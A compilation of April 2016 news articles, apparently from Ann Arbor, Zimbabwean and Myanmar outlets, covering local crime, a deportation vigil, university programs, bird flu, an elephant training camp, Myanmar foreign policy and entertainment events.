ANN ARBOR, MI -- The Ann Arbor Police Department announced Friday, two people are in custody for their suspected involvement in an armed robbery at an Ann Arbor ATM on April 12.

A 57-year-old Grand Rapids man with ties to the area and a 26-year-old Grand Rapids woman were taken into custody by officers from the AAPD and Pittsfield Township respectively.

The 57-year-old man was arrested in the 2600 block of Arrowwood at approximately 10 a.m. Friday according to a release from the AAPD. He is being held in custody as charges against him are pending. The woman was taken into custody on an unrelated charge.

However, both are being investigated by AAPD and the Washtenaw County Sheriff's Office for involvement in at least two robberies in the area, according to the release.

Police have been looking for a suspect believed to have approached another man at an ATM at approximately 12:36 a.m. April 12 in the 2600 block of Plymouth Road, north of the University of Michigan's North Campus.

The man using the ATM was robbed at gunpoint by the suspect.

The suspect, shown in a surveillance image, is described as an about 40-year-old black male, 5 feet 9 inches to 5 feet 11 inches tall and about 160 to 170 pounds. Police asked for help in identifying the suspect earlier this week.

Matt Durr is a reporter for The Ann Arbor News. Email him at mattdurr@mlive.com or follow him on Twitter.
Easter Michigan Board of Regents.jpg

The Eastern Michigan University Board of Regents meets at Welch Hall. (Ann Arbor News file photo)

YPSILANTI, MI - Students at Eastern Michigan University will learn how to develop programs to meet the needs of youngsters with disabilities or master geospatial information science technologies, under two new academic programs approved by the Board of Regents Friday.

The program for a special education major (K-12) learning disabilities endorsement will offer grounding in the theory of learning disabilities and develop the ability and understanding for EMU graduates to devise individual programs during their teaching or administrative careers that meet students' specific needs.

Upon graduation, EMU students in their educational careers will be able to analyze assessment data and implement individual programs for specific students, based on their strong understanding of learning disabilities.

The geospatial information science and technology major will integrate geospatial information concepts and technologies with various programs offered in the Department of Geography and Geology and other selected departments.

Along with the required core courses, students could chose concentrations in areas such as geography, environmental geoscience, information assurance, criminology and urban and regional planning.



The major will prepare students for the variety of career positions that utilize geospatial technologies, which are the range of modern tools contributing to the geographic mapping and analysis of the Earth and human societies.

Both programs will start this fall.

The regents also approved a minor in simulation, animation and gaming (SAG), giving students the option of specializing in that area while majoring in another area, such as business or education.

The SAG program combines traditional art mediums, programming, story development and creative writing with coursework focusing on modeling, rigging, animation, lighting and camera work in 3-D.

The regents also approved phasing out three programs: its applied technology major, public law and government major and Master of Arts in urban/diversity education.

The applied technology and urban diversity/education programs were discontinued due to a lack of interest.

Eliminating the public law and government major will help the Political Science department condense the number of programs it offers in line with other departments.



Martin Slagter is a higher education reporter for The Ann Arbor News. Email him at mslagter@mlive.com or follow him on Twitter.


ANN ARBOR -- Susana Bernabe-Ramirez's days in the country may be numbered unless the U.S. Congress takes uncommon action and introduces a bill that would stop her deportation.

Members of the Washtenaw Interfaith Coalition for Immigrant Rights hope public outcry will be enough to prompt people in positions of authority to take action on behalf of Bernabe-Ramirez and her 16-year-old daughter, Sayra. The Ann Arbor residents are set to be deported on April 29.

If that were to happen, Bernabe-Ramirez's youngest daughter, Isabela, 11, would be left behind; she is a U.S. citizen. Sayra attends Huron High School and Isabela is a student at Scarlett Middle School, where a vigil to protest the pending deportation was held Thursday evening.

About 80 people gathered in front of the school, beneath heavy gray crowds, to show their support for Bernabe-Ramirez and her daughters, who stood together during the event, often with their arms around each other and occasionally wiping away tears.

"This has all been very hard," said Bernabe-Ramirez, a petite 39-year-old woman, as she choked back tears while addressing the group. "Excuse me for not being able to explain better what I feel, for not being able to say more. But as you can see, I'm not in good shape right now."

Bernabe-Ramirez and her daughters have lived in the U.S. since 2001. Isabela was born here. In 2010, Bernabe-Ramirez went back to Mexico to care for her ailing mother, who since passed away. Her husband was deported that same year.

Bernabe-Ramirez returned to America in 2014 and rather than enter illegally again, she requested asylum at the border, said immigration attorney Brad Thomson, who is representing the family. She was not granted asylum, but she was allowed to enter the country and then removal proceedings were initiated.

"My biggest concern is the situation of violence in the part of the country where I am from. We left because of violence," Bernabe-Ramirez said through translator Amelia Frank-Vitale. "My worry now is my daughter (Sayra). She's a young woman. She's 16 years old, and there's a lot of bad things that could happen to her."

Bernabe-Ramirez recalled trying to protect her daughters during a shooting and another time people with guns followed them to school. Another reason she left Mexico was because the cartels were extorting her, she added. But asylum is not automatically granted for victims of extortion and gang violence, Thomson said.

"Never in my career have I had a case like this one," said Thomson, who also became emotional while reading a speech he prepared about the Bernabe-Ramirez family. "The love between Susana, Sayra and Isabela has spoken to our heart and inspired our soul. For there can be no deep disappointment when there is not deep love."

As Melanie Harner, a co-founder of WICIR, pointed out, the Bernabe-Ramirez family should be the U.S. Immigration and Customs Enforcement's lowest priority for deportation. Priority one refers to illegal immigrants who are threats to national security, border security and public safety. Priority two is reserved for illegal immigrants convicted of multiple misdemeanors, and priority three includes all other illegal immigrants -- like Bernabe-Ramirez and Sayra.

The immigration judge found Bernabe-Ramirez credible, Thomson explained, but the judge did not have the authority to grant asylum. The ICE attorney did not agree to close the case, and a removal order was issued in August 2015. Thomson appealed that order, but the appeal was denied.

"I have called upon the government, and the government has failed. I have called upon the politicians, and the politicians have failed. I have called upon myself, and I have failed," Thomson said. "But when I call upon Susana, Sayra and Isabela, they have given me the light on the other side of the river."

The last legal option is for the U.S. Congress to support a private bill that would block the deportation, Thomson said. It's an unlikely outcome, but he urged everyone gathered at the middle school to help make history.

Deportation will mean separating the Bernabe-Ramirez family, which is especially troubling for Susana because Isabela has epilepsy and needs special medical care. A nurse practitioner who spoke at the vigil noted emotional stress could lead to more seizures for Isabela.

Scarlett Middle School Principal Gerald Vasquez and Scarlett eighth grader Edgar Osorio also spoke at the event, with Osorio telling of the deportation hearings he and his father went through and the emotional toll it took on their family. They were all allowed to stay in the country.

"I can understand the emotional pain these kids have because seeing your mother's tears is one of the worst things on this planet," he said, adding that his parents came to America for the chance at a better life and good education for their children. "I don't know if the government will ever realize that this is not fair. It's not as easy as it seems. You can't just take apart a beautiful family and expect it to all be good the next day."

WICIR has successfully blocked four deportations, and there was another one they could not stop, said Laura Sanders, co-founder of WICIR.

"This is really, really a tragic case. It's just ridiculous the focus on this family," Sanders said. "There's no reason for her to be prioritized for deportation."

Seeing the community support meant a lot to Bernabe-Ramirez, and she is staying optimistic through what could be her final week in the U.S.

"I have a lot of faith," she said. "I have a lot of faith in God and a lot of faith in everything that everyone is doing, and I have faith that we'll be able to do something."

Those interested in helping to stop the deportation of Susana Bernabe-Ramirez and her daughter Sayra can sign a petition or contact Michigan's U.S. Sens. Gary Peters (313-226-6020) and Debbie Stabenow (313-961-4330). For more information, visit the WICIR Facebook page.
News / National

by Stephen Jakes

A group of unidentified strangers strongly believed to be members of the spooky State spy agency, Central Intelligence Organisation (CIO) have reportedly been trailing a school head in Makoni.The educator, Onius Muropa, who superintends Madzingidzi Primary School was also recently allegedly confronted by Makoni West Member of Parliament, Hon. Kudzai Chipanga over his alleged support for the newly formed Zimbabwe People First (ZimPF) party.ZimRights reported that Muropa revealed on Wednesday, April 20, 2016, that he has been coordinating ZimPF activities in the constituency since the emergence of the new political outfit in the rural area, expressing palpable discomfort at the intentions of the nagging spies."I was recently asked to come and present myself at the local CIO offices in Tsanzaguru for questioning. Because I have not presented myself for questioning I everyday see people that I do not know trailing me," he said.Tsanzaguru is a township about 10 km south of Rusape, where Muropa normally resides.Muropa's pursuers have reportedly been on his trail since schools closed for the first term for the holidays.Another source, who is close to the headmaster corroborated that they had been worried for Muropa for weeks after it became clear there were people potentially bent on harming the educator.The new Constitution of Zimbabwe in Section 67 provides for political rights to make political choices, join and participate in the activities of a political party, and campaign freely for the same in line with the tenets of a constitutional democracy.However, reports of continued harassment of other political parties' supporters using state institutions at the instigation of the ruling party, Zanu-PF remain rife even after the Constitution was adopted.
Editor's note: This story has been updated with a quote from Ruth Lednicer.



ANN ARBOR, MI -- "The Kid," is coming back to Ann Arbor.

At least for one more night. The Michigan Theater announced Friday it will host a special screening of the 1984 hit movie "Purple Rain," starring Prince as The Kid.

The screening starts at 7 p.m. on April 30 with advance tickets available online.

"We're doing it basically because we're all very sad and we know others are too. We thought it was a great opportunity to let everyone come together and celebrate his artistry and his music," said Ruth Lednicer, senior director of marketing and programs for The Michigan Theater. "What better way than with the film that won him an Oscar?"

A seven-time Grammy winner, Prince Rogers Nelson died Thursday at the age of 57 in his home at Paisley Park just outside of Minneapolis. With more than 100 million albums sold, Prince was inducted into the Rock and Roll hall of Fame in 2004.

The soundtrack to the movie won two Grammy awards and an Oscar award for Prince.

Since his death was reported early Thursday afternoon, theaters all over the country have announced plans to screen the film.

Matt Durr is a reporter for The Ann Arbor News. Email him at mattdurr@mlive.com or follow him on Twitter.
News / National

by Staff Reporter

A 28 year old suspected pastor was murdered after he was caught caressing a married woman in a parked car in Harare.The unidentified pastor was spotted by his married lover Fadzai Rato's husband Shepherd.Shepherd side swiped he vehicle in a speed chase and Fadzai who was behind the wheel turned into a closed road before her vehicle fell into a ditch and they where caught.Shepherd is said to have grabbed the pastor and bundled him into his car and vanished only to return to dump the man at the accident scene, severely assaulted.He later died in hospital.Police confirmed the incident saying Shepherd hired 5 men to help him assault the pastor.
News / National

by AFP

Washington - Republican presidential frontrunner Donald Trump said on Thursday he opposed placing an image of one-time slave Harriet Tubman on the $20 bill, saying she should grace the rarely used $2 note instead."Andrew Jackson had a great history, and I think it's very rough when you take someone off the bill," Trump told NBC's Today show when asked about the US Treasury's plan to remove the 19th century president and make Tubman the first African-American to be featured on American currency.Citing Jackson's "history of tremendous success for the country", Trump said it would be nothing but "pure political correctness" to displace him from the widely used note."Maybe we do the $2 bill" for Tubman, Trump added. "I would love to see another denomination, and that could take place. I think it would be more appropriate."Treasury Secretary Jacob Lew on Wednesday announced a sweeping redesign of the US bills to be unveiled in four years.They will also protect Alexander Hamilton's central place on the $10 note, once thought threatened until Broadway's hit hip-hop musical Hamilton made the 18th century US finance chief a modern-day star.Democratic presidential hopefuls Hillary Clinton and Bernie Sanders both gave their full-throated support of the Tubman plan, but few Republican lawmakers showed the same enthusiasm.Ben Carson a Republican presidential candidate until dropping out in early March, also opposed dropping Jackson."I love Harriet Tubman. I love what she did, but we can find another way to honour her," Carson, who is black, told Fox Business. "Maybe a $2 bill."Republican US Senator Lamar Alexander, from Jackson's home state of Tennessee, took issue with the one-or-the-other nature of the Treasury decision."It is unnecessary to diminish Jackson in order to honour Tubman," Alexander said in a statement."Jackson was the first common man to be elected president. He fought to save the Union."Jackson was a southern slave owner and general who was president from 1829 to 1837.
This Account has been suspended.
An outbreak of bird flu at an egg-laying chicken farm in Monywa has led to the destruction and burial of thousands of chickens.





U Kyi Lwin Oo, deputy chair of the Sagaing Region Livestock Federation, said yesterday that about 35,000 chickens had been killed.

The chickens started dying on April 3. State media identified the bird flu strains as H5 and H9 yesterday, citing a Ministry of Health announcement.

Samples of the virus have been submitted to the Australian Animal Health Laboratory in order to classify which strain of bird flu has cropped up, according to The Global New Light of Myanmar.

This new appearance of avian flu follows a destructive outbreak in early February 2015, when all of the Monywa poultry farming zones chickens and quails had to be killed. Losses exceeded K600 million, and governmental groups and donors stepped in to support the industry.

However, U Kyi Lwin Oo said on April 18 that the current situation differed from last years outbreak of H5N1, a more severe strain of the flu.

Monywa livestock zone police have been advised not to allow chickens outside of the 130-acre area, which is fenced in.





And chicken farm owners have been taught procedures in case of a bird flu outbreak, U Kyi Lwin Oo told The Myanmar Times earlier this week.

In the case of the severe avian influenza [strain] H5N1, disease control procedures say chickens in affected areas must be buried underground, he said.

Egg-laying chickens  numbering 150,000  and 300,000 quails are being kept separate in the poultry farming zone, while meat-producing chickens are held outside the area, according to U Kyi Lwin Oo.

He warned yesterday that the public should cook chickens or eggs thoroughly before eating.

Hot weather has brought down egg and chicken production, he added, keeping market prices stable.

Translation by Kyawt Darly Lin
One of Myanmars hottest pop stars, Ah Moon took to the MNTV stage during Yangons 2016 Water Festival. Shes a veteran of the circuit, having performed each of the last seven Thingyan celebrations across Yangon, Mandalay and Nay Pyi Taw.





She answered a few questions from lifestyle editor RJ Vogt about what its like performing live in front of thousands of wet fans.

Was this your first time performing at Thingyan? If so, were you nervous?

I started performing at Thingyan with the girl band [Me N Ma Girls, Myanmars first all-girl pop band] back in 2010. So this is my seventh time. Ive performed in Yangon, Mandalay and Nay Pyi Taw for Thingyan. The difference between those years and this year was that I was on TV every day this year as I performed at MNTV-Lifebuoy stage in Yangon. So my performance was live on TV, twice a day.

So you know how to work the water festival crowds. But were you worried about getting wet, or having technological malfunctions?

Security did keep them from spraying water to us. But actually, Im not worried about getting wet at all  its water festival!! [Laughs.] And the fans were very polite and cute. They came toward me with water only after I performed! Then I got soaked.

Water festival is full of traditions and meanings for different people. What does Thingyan mean to you?





To me hmm. I think its the smartest festival among the 12 festivals in Myanmar, because its SO hot in April in this country! We need the water to cool us down. And its also the Myanmar New Year time, so I think its a sweet and relaxed moment for our people. Its a good time to take vacations if you dont want to get wet.

Since you were performing, you didnt get to take a vacation. When you do, how do you stay cool during the summer months  where do you go to escape the heat?

With my career, I cant choose where I want to go that much in summer. Like last year, I was in LA for my new music and recordings. And this year, I have to be in Yangon most of the time for my new DVD release process. But I do want to get away from the heat! Taunggyi is always good to escape to or my home town, Myitkyina in Kachin State. I would recommend there or somewhere in Shan State.

What was your favourite moment from this years festival?

Oh the moment when I was on stage performing! The feeling I got when I connected to the real crowd that I am seeing and hearing in front of me, while at the same time performing for the audience watching me live on TV it was awesome. I loved every minute.

And now youre focused on your new DVD release for the Automatic album. When does it come out?

Its coming out on April 24, this coming Sunday! The promotion show will be held at Dagon Centre, 3-6pm. Ill be available to meet my fans as well as giving a rocking performance. Id love to invite all my STARS to come out and join!
Myanmar changes. The people who visit Myanmar change.





In December 2012 I met a four-time visitor who said that she was not coming again because as the country opened up to the outside world it was losing its sense of isolation and mystery. In other words, she begrudged local people their new political freedoms and economic possibilities, because it was spoiling her holiday. Myanmars development damaged her intrepid-explorer self-image. Shes probably in North Korea now.

A year later the first signs of a different breed of traveller became frighteningly apparent. To my horror, I saw elephant pants in Yangon. Along with Chiang Beer vests and spiritual tattoos (and yoga mats), elephant pants are an almost-uniform of same-same conformity  irrefutable evidence of the presence of what I like to call wackpackers.

Wackpackers are just like backpackers. But wack. And now theyre here in numbers.

Since the Grand Tour  or maybe the Argonauts  snobs like me have complained about other tourists being improperly dressed. Colonial-era Europeans were derided for over-dressing in the tropics. Now the complaint is the opposite: that the white folk are showing too much flesh.

Misanthropes like me despair that so many (though not exclusively) younger tourists have not read the politics or history chapters of a travel guide, nor googled just enough to stop them advertising their ignorance so readily. Many wackpackers do not have a guide book. They believe they are adventurous. They think they can find their own way around. If they need help they wont be afraid to ask a fellow traveller a dumb question. For instance: Who is the woman whose picture I keep seeing everywhere?

Wackpackers, you see, think of Vietnam-Cambodia-Laos-Thailand-Myanmar as a single contiguous almost-country (like Africa, yeah?) and take insufficient time to notice or react to the differences between them. They stick together, group together, hang out and hook up, at the expense of time spent in the company of locals, because theyve so much in common already.





They all (again, this is mostly, and hat-tip to the rest) go to the same six places, sleep in the same bed-bugged beds (who do they think is spreading those bugs?) then take and share, share, share the same no-filter! photos of each of the countries they do (eurgh!).

And theyre all talking about heading to the Philippines next.

They complain more than they show appreciation. Especially about the food, even though they keep eating the same three things as if the few words on the menu that have been translated badly into English are all that there is to eat.

They argue for a discount as if this is India. But they have plenty of cash for beer.

And they are not adventurous. Relying on fellow wackpackers reviews and recommendations keeps them firmly on the well-beaten path. If the guidebook recommends eight places to sleep, peer-to-peer crowdsourcing reduces the choice to six, or four, as those not habitually occupied by other wackpackers are not deemed social and are filtered out.

You might choose to do nothing about this but Im a multi-tasker: I can be patronising and condescending at the same time. If I meet a wackpacker in the wild, I WhatsApp them my 10 top tips on how to behave.

1. Manners. Ideally learn to speak enough of the language to seem polite. If youre determined only to learn hello and thank you then take two minutes to learn to say them properly.

2. Dress code. Take a look around you. What are local people wearing? Girls, if the women you see are not wearing hot pants or spaghetti vests, if they arent knotting a sleeveless T-shirt so as to reveal their midriff, then its probably best that you dont either. Guys, its really not okay to ride a motorbike through the village shirtless. And no elephant pants  that goes for all of you.

3. Cleanliness. Wash. Wash your clothes too. In the sea does not count. Use soap. Regularly. Wearing a T-shirt that I can see has not been washed for 19 days because it still has your dated Shwedagon sticker on it makes you a scuzzer. Trying to justify it by saying thats travelling makes you an idiot. Local people who will never have a power-shower in their lifetime, who probably dont have running water in their home and who certainly dont have a washing machine, manage to be clean and presentable, in fresh clothes, at almost all times, whilst working 12 hours a day. Were on holiday stinking. What must they think of us?

4. Money. Stop haggling with poor people who are struggling to make a living. The minimum wage is K3600  if its being given. A labourer might only be making K5000, a street-food seller maybe even less. Thats per day. Work it out. Whatever the discount you manage to get the marginal benefit to you is much, much smaller than the marginal dis-benefit to them. And anyway, this is not India: There are very few situations where haggling is the norm. Hardly anyone in this country is trying to rip you off, and if it is going to happen its most likely to be in one of those same six places that everyone else is going to. Try going somewhere else. And if someone does take you for a couple of thousand kyat then maybe they were just lucky you came along. Get ripped off with good grace, and bank the karma in place of the cash. And any time you do invest in learning the language will pay off because no one  except that Yaw Min Gyi fruit seller with the K700 oranges  has the presence of mind or inclination to up the price if they are marvelling at your ability to ask the price.

5. History and politics. Read up. The people of this country have come smiling through a series of societal and personal horrors and trauma, some still ongoing, the impacts of which are still widely felt. Its grossly insensitive not to pick up at least the basics, to use the knowledge as a filter for what you see and, occasionally, to make some allowances for it. Shes called Daw Aung San Suu Kyi. The other bloke is her dad. Figure it out.

6. You are not an adventurer. This is not an adventure. There are rules. Bend them maybe, but dont break them. Make trouble only for yourself. Dont make trouble for locals because the trouble they get into will dwarf the trouble for you. Better that you sleep in the street than that a local risks prison to put you up in their house. It does happen, but its their call. Never push it. Never impose yourself on their hospitality. A time will come when Myanmar people can and will open up their homes to travellers  and it will be great  but we are not there yet.

7. Speak up but know when to shut up. Im no stickler for respecting every one of a societys customs and traditions, particularly if they are founded in religion but harm others. There is no need to toe the lines of local mysogyny and race hatred. Better to gently (I said gently) challenge them or to politely present alternatives. Or to keep quiet. Or to leave.

8. Go with the flow. At the same time, Im no fan of wilfully breaking social rules or consciously upsetting the sensibilities of people who offer me their friendship and hospitality. While I think its nonsense that mens and womens clothes cannot be washed together or hung to dry on the same line, I try to remember not to break the rule when someone has kindly let me do my laundry at their home.

9. Keep smiling but dont cross the line. Remember the wise words of Jarvis Cocker: Everybody hates a tourist. Especially one who thinks its all such a laugh. Even in Myanmar theres some truth in that.

10. Not really. Ten would make it TLDR.

This article first appeared on the authors blog, myohmyanmar.wordpress.com. Do you have something to say? Email us at [email protected] and we may print your thoughts in a future issue.
News / National

by Fungai Lupande

A HARARE magistrate on Wednesday sentenced a 38-year-old man to nine years in jail after he was found in possession of a pangolin.Henry Makunde was sent to jail after Harare magistrate Mr Tendai Mahwe ruled that there were no special circumstances. His nephew Desire Murire (19) was sentenced to an effective two years after the magistrate ruled that his age was a special circumstance.Murire, of Maronga Village under Chief Musikavanhu in Chipinge, pleaded guilty to possession of a pangolin without a permit. He was sentenced to three years in prison before Mr Mahwe suspended one year for five years.Their co-accused, Dingani Dhliwayo was discharged at the close of the State case after Mr Mahwe ruled that he had no connection to the offence. The prosecutor, Ms Francesca Mukumbiri proved that in January this year, Murire stumbled upon a pangolin in Chipinge.He immediately informed his uncle Makunde. Makunde ordered the teenager to safely guard the pangolin. The pangolin was transported to Mbare, Harare. On January 22, detectives received a tip off that someone was in possession of a pangolin.Acting on the tip off, detectives teamed up with Mbare police crack team and proceeded to Marowa Shopping Centre in Mbare. Police located three men discussing the pangolin and pounced on them. They were led to No. 9 Chitiyo Road in the same suburb, where they found the pangolin in the refrigerator.Trying to shift blame, Makunde told the police that the pangolin belonged to his nephew and that the owner of the refrigerator was his landlord Dhliwayo.The trio was arrested and the pangolin was taken to the Zimbabwe Parks and Wildlife Management Authority.
Ngwe Saung Beach is a dusty village on the Bay of Bengal, seven hours by bus from Yangon. As you enter the treacherous mountain roads that mark the last hour of the drive, you may be reluctant to peer out the windows at the severe drop-offs and valleys.





If you can keep your eyes open, however, you might just catch one of the Myanmar governments amateur logging elephants walking through the trees at the Ngwe Saung Elephant Camp.

The camp, a wooden collection of squat, thatched buildings, currently houses five young elephants, mostly ranging in age from eight to 15. Too young to work in Myanmars logging business, the still-growing little ones remain in the training camp until they are ready for work.

It is a small operation. Young oosies, or elephant mahouts, lounge about on their charges like sofas, and the staffs families live in the compound, meaning young children no older than three walk right through the enclosure without so much as a second glance at the elephantine feet all around them. The oosies can form partnerships that last a lifetime, and the elephants swishing tails and friendly, probing trunks seem to signal general contentment. Feeding them sugar cane from a US$2 bucket, its easy to feel like these young elephants are ordinary acquaintances for a human being to have and are being treated quite well.

Zaw Min Oo, the camps director, said they spend four hours on display as a tourist attraction, but roam freely the rest of the time.

This is a training camp for the elephants, he said during a visit in late March. After this system, they have to move to a working camp. We have three logging camps around this area.





Tourist attractions, then workers

Documented use of elephants in Myanmar dates back at least 2000 years, both for labour and war. During colonisation, the massive creatures became a backbone of British Burmas economy, after the imperialists realised the animals could drag 2-tonne logs to riversides for easy transport. The practice continued through independence and beyond: As recently as 2013, the Myanmar government exported more than 1.24 million cubic tonnes of elephant-logged timber, including 75 percent of the worlds teak wood  a value of more than US$1 billion in revenue.

That all changed on April 1, 2014, when the Myanmar government banned the export of raw timber in an effort to preserve the shrinking forests and boost the local milling and carpentry industry. Overnight, more than 5000 elephants became jobless.

Many of those that are left in the business belong to government-owned Myanmar Timber Enterprise (MTE). Keeping the future laborers as tourist fare for a few hours, Zaw Min Oo said, is one way for MTE to bring in money for their care. Visitors are charged $5 to enter and another $5 to ride an elephant in the rugged little creek that runs under the entry bridge to the camp.

Not exactly best practice

This confluence of work and play lends the Ngwe Saung Elephant Camp a strange, almost invisible nature. It does not market itself broadly: Outside of a handful of photo displays and billboards around Ngwe Saung village itself, the camp does little to advertise its existence. In a country where online presence is exploding, the tourist site has neither a website nor a Facebook page  it is only available as an automatically generated page where people can check in online.

The low profile no doubt keeps it off the radar of elephant interest groups and conservationists, such as those that run Elephant Nature Park, in Chiang Mai, Thailand.

One of their representatives told The Myanmar Times they are not familiar with this project. Neither was EARS Asia, another elephant conservation program. Both groups said to look for instances of elephant maltreatment, such as cuts around their ears or heavy wooden chairs ready to be strapped on their backs, to see if the camp was following best practices.

No cuts could be seen during the March visit, though Zaw Min Oo confirmed that a row of wooden chairs was indeed for tourist rides.

They are already trained  they are here from when they are four or five years old, Zaw Min Oo said. We find them as baby elephants and shoot them with a tranquiliser. It takes only three months to be domesticated.

Capturing elephants from the wild with tranquiliser darts is a much more serious breach of best-practice protocol. In fact, this type of capture is illegal in Myanmar for any reason other than scientific research. But Zaw Min Oos admission reflects earlier comments to EleAid Asian Elephant Conservation Charity, an interest group that conducted a study in 2006, indicating this is a long-standing practice in Myanmar.

And whereas the Elephant Jungle Sanctuary, also in Chiang Mai, rescues its elephants from work camps and unethical tourist camps, the elephants at Ngwe Saung are captured then prepped for work. Upon completing early training and their time in the Ngwe Saung Camp, young elephants move into the labour force from the late teens to the late 40s, dragging logs through the jungle to transport stations. At around age 50, they begin to retire, many of them spending their last 10-20 years of life at a retirement camp in Taungoo, Bago Region.

Some conservationists may bemoan the methods, but others argue that working elephants is better than penning them in a compound for lazy living, as happens in zoos. One 2008 study, for instance, showed that capturing, taming and working elephants elevates health and lengthens livelihood when compared to the relative pampering of an average European zoo.

Of course, work and zoos are not the only two options for elephants when weighing how to give them a better life. In at least one case, however, the camp is providing life-saving care. Zaw Min Oo said the Ngwe Saung elephants receive medical attention with weekly visits from a veterinarian. That includes one who will never work due to a tumour in his side. Instead of turning him out into the wild, the camp is essentially providing hospice care.

They dont sleep here

Every day at the Ngwe Saung camp is more or less the same. In the dawn hours the mahouts creep into the jungle, tracking their charges to their usual hangouts and leading them back to camp for an 8am bath in the creek. Then the elephants are either ridden, fed sugar cane and other foods, or kept chained to trees for four hours, which is when visitors get to see them. At noon  the heat of the day  the camp sets them free and closes up, only to open again upon their recapture the following day.

They dont sleep here, Zaw Min Oo said. We have to feed them grain, when they come back early in the morning. When visitors come, they can get sugar cane. But when we let them free  after 12pm  they can get natural food: bamboo, banana, many kinds of leaves, roots, the bark of the tree also. They like [all of that]. They are vegetarian, luckily.

Zaw Min Oo says he and his mahouts have counterparts at other camp systems, with about 90 elephants per work camp. All told, they have observed an additional 229 wild elephants in the area, many of whom may someday find themselves working.
Get your Sailor Moon outfits ready.





More than 1600 people have indicated they will attend the 8th Myanmar Cosplay & Otaku Festival on April 23. This weekends festival marks the eighth year that Myanmar has celebrated the unique hobby, which consists of dressing up as characters from anime and other pop culture sources (cos, from costume, and play from, well, play).

The two-day festival has moved this year. After previously being held in Sein Lann Soe Pyay, a greater expectation of guests has bumped the event to a larger venue  MICT Park, on the Hlaing University campus northwest of Inya Lake.

The Facebook page is full of attendees sharing their costume plans and coordinating with friends. Moe Kyi Pyu Zaw, one guest, detailed two separate outfits, one for both Saturday and Sunday.

First day, Ill be Aurora from Disney [movie Sleeping Beauty] and on the second day, Ill be cosplaying as Alice (Hysteria Skin) from [videogame] Alice Madness Returns, she wrote.

Moe Kyi Pyu Zaws choices reflect the wide range of costumes that will be present at the celebration. Expect to see superheroes mingling with anime villains and literary legends.

Judges will award prizes for best costumes spread over two days. On Saturday, the Audience Choice Best Performance Award and Judges Choice Best Performance Award will be delivered. Sunday will feature awards for male and female performers, as well as recognition for homemade costumes and storebought costumes.





Tickets went on sale in March, available as a two-day package for K9000. Prices have slightly risen, with individual first day tickets available for K5000 and second day tickets for K6000.

Every cosplayer in Myanmar will probably be there. Even if you dont cosplay yourself, the sights and sounds will be something you wont soon forget.
Revered in the West almost as much as at home, Daw Aung San Suu Kyi may steer Myanmars foreign policy to a westward pivot to some degree, although the Nobel Peace Prize winner has already shown she understands the realities of dealing with powerful Asian neighbours.





The importance of relations with Beijing was emphasised when Chinas Wang Yi became the first foreign minister invited to meet the new government, visiting his counterpart Daw Aung San Suu Kyi on April 5 and President U Htin Kyaw the next day.

I think it [the invitation] is really symbolic, it is a significant gesture. It is more symbolic than substantial. It shows goodwill diplomacy, said Tang Xiaoyang, analyst at the Carnegie-Tsinghua Center for Global Policy in Beijing.

As opposition leader, Daw Aung San Suu Kyi received a top-level welcome on her first formal visit to Beijing in June 2015 in anticipation of the National League for Democracys sweeping election win five months later. Her role in 2013 as head of a parliamentary commission in allowing the controversial Letpadaung copper mine project  a joint venture between a state-owned Chinese firm and the Tatmadaw  to continue deeply disappointed some of her loyal supporters, but it raised expectations in Beijing that she can be a pragmatic partner.

Still it was the personal rapport she has built with US President Barack Obama - and also with Hillary Clinton, his possible successor in the White House - which was on show when he called her and U Htin Kyaw on April 6 to convey his congratulations, commending her determined efforts, over the course of many years and at great personal cost, to achieve a peaceful transfer of power and advance national reconciliation.

Gregory Poling, analyst at the Center for Strategic and International Studies, a Washington think tank, said the Oxford-educated leader with two British sons would be more comfortable with the West than her predecessors. But she has made clear that Myanmar cannot change its geography and she wants good relations with China as well.

Myanmar will balance its foreign policy, but it will not do so between east and west; it will do so between a plethora of different countries, said Mr Poling. I expect we will see a serious effort to balance Myanmars relations between China, India, Japan, the rest of Southeast Asia, and the West.





Mr Tang doubts that Daw Aung San Suu Kyi in her newly created position as state counsellor will embark on a major foreign policy shift toward the West. Daw Aung San Suu Kyi is also a nationalist. She supports the development of Myanmar, not Western nations, he said.

For years to come China, Singapore, India, Japan, Thailand and others in Asia will most likely remain by far Myanmars largest investors and trading partners.

Japan has reportedly put aside more than 100 billion yen (US$910 million) in loans and grants as development assistance, apparently at the request of Daw Aung San Suu Kyi. Tokyo hopes to finalise its support by June, according to the Japan Times.

The Chinese government does not give much development aid [to Myanmar], it is about commercial benefits. China sees Myanmar as a market place. For Japan there are geopolitical concerns, said Mr Tang.

Priscilla Clapp, a veteran Myanmar analyst and a former head of the US embassy in Yangon, says that the US should respond to the support and investment flowing into Myanmar from across the world by gradually lifting all its sanctions, which are inhibiting US organisations and businesses.

Myanmar is likely to continue to experience human rights abuses, corruption and poor governance but sanctions may not always be the best solution, she said in a recent report for the Council on Foreign Relations, a New York-based think tank.

In many cases, it may still be appropriate to address some of these issues with punitive measures, but they should not be enforced at the expense of US programs seeking to address the underlying causes of these abuses in Myanmar, Ms Clapp wrote.

Mr Poling said that existing US sanctions against targeted individuals were not having the desired effect and agreed that they hampered US investment. At this point, most of the remaining sanctions  those which prevent US companies from doing business with individuals on the Specially Designated Nationals list  do little to pressure actors within Myanmar; they mainly limit the ability of US companies to effectively compete with counterparts from China, Japan, Korea and Europe in Myanmar, he said.

China, one of the few countries willing to do business with Myanmar when it was still an international pariah, has maintained considerable leverage  even after the Tatmadaw and former president U Thein Sein began the process of prising Myanmar away from its dependency on its powerful neighbour and making eagerly awaited openings to the West.

The two countries share more than 2000 kilometres (1250 miles) of border, punctuated by trading posts but more defined by smuggling of natural resources and decades of civil war between the Tatmadaw and ethnic armed groups. Some observers of the peace process suspect that Chinese interference is to blame for the failure of last years nationwide ceasefire agreement, which attracted the signatures of mostly minor armed groups.

Mr Tang rejects the view that the Chinese government has been directly involved in Myanmars ethnic conflicts but he says the peace talks are an important and closely observed part of relations with Myanmar.

Beijing respects the sovereignty of Myanmar. Groups with more [ethnic] affinity and some scholars and businessmen support the Kokang, saying they are Chinese. But that is not the official view, he said, referring to the corner of Shan State where an ethnic Chinese armed group launched an abortive comeback last year.

Ms Clapp, however, argues that the role of the Chinese is more than that of a mere interested party, with the government using the armed groups as a buffer between China and the nascent democracy next door.

China will likely be a deciding factor in whether the Myanmar government can eventually reach a comprehensive peace agreement with its armed ethnic-minority groups, she said.
As many as 40 people travelling to a market and a hospital from displaced person camps in Rakhine State remained missing yesterday after their boat capsized in bad weather at sea, with nine children among the 22 bodies recovered.





